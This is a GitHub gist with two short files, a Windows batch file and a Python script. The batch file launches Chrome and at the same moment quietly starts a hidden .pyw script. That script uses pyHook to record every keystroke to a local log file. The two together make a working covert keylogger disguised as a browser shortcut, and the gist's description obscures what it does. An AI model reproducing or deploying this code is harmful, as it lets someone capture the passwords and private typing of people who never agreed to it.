Last active
February 17, 2018 13:38
-
-
Save rachitagrawal14/8b582271b48cd5663689ace335dec6c6 to your computer and use it in GitHub Desktop.
Batch file which opens the browser with changed path. Python file pumps the message and create a new file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
start "" "G:\ethical using python\secret_file.pyw" | |
start "" "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyHook, pythoncom, sys, logging | |
file_log = 'C:\\Python27\\log.txt' | |
def OnKeyboardEvent (event) : | |
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') | |
chr(event.Ascii) | |
logging.log(10,chr(event.Ascii)) | |
return True | |
hooks_manager = pyHook.HookManager() | |
hooks_manager.KeyDown = OnKeyboardEvent | |
hooks_manager.HookKeyboard() | |
pythoncom.PumpMessages() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment